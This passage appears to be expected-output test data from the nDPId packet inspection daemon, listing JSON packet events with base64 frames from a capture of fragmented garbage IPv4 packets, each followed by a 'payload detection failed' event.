+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6136,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475481,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAheEAGRDkKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6136,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6137,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475491,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhekAGRDcKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6137,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6138,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475502,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfEAGRDUKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6138,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6139,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475512,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfkAGRDMKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6139,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6140,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475522,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgEAGRDEKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6140,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6141,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475552,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgkAGRC8KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6141,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6142,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475563,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhEAGRC0KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6142,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6143,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475573,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhkAGRCsKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6143,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6144,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475584,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhiEAGRCkKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6144,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6145,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475594,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhikAGRCcKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6145,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6146,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475605,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjEAGRCUKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6146,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6147,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475615,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjkAGRCMKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6147,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6148,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475625,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkEAGRCEKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6148,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6149,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475637,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkkAGRB8KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6149,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6150,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475648,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlEAGRB0KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6150,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6151,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475658,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlkAGRBsKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6151,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6152,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475668,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmEAGRBkKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6152,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6153,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475679,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmkAGRBcKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6153,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6154,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475689,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnEAGRBUKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6154,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6155,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475700,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnkAGRBMKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6155,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6156,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475710,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhoEAGRBEKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6156,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6157,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475721,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhokAGRA8KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6157,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6158,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475732,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpEAGRA0KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6158,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6159,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475738,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpkAGRAsKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6159,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6160,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475749,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqEAGRAkKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6160,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6161,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475759,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqkAGRAcKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6161,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6162,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475770,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrEAGRAUKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6162,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6163,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475781,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrkAGRAMKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6163,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6164,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475792,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhsEAGRAEKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6164,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6165,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475802,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhskAGQ\/8KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6165,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6166,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475812,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtEAGQ\/0KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6166,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6167,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475823,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtkAGQ\/sKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6167,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6168,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475833,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhuEAGQ\/kKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6168,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6169,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475844,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhukAGQ\/cKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6169,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6170,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475855,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvEAGQ\/UKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6170,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6171,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475866,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvkAGQ\/MKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6171,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6172,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475876,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwEAGQ\/EKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6172,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6173,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475886,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwkAGQ+8KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6173,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6174,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475896,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxEAGQ+0KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6174,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6175,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475907,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxkAGQ+sKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6175,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6176,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475917,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhyEAGQ+kKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6176,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6177,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475928,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhykAGQ+cKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6177,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 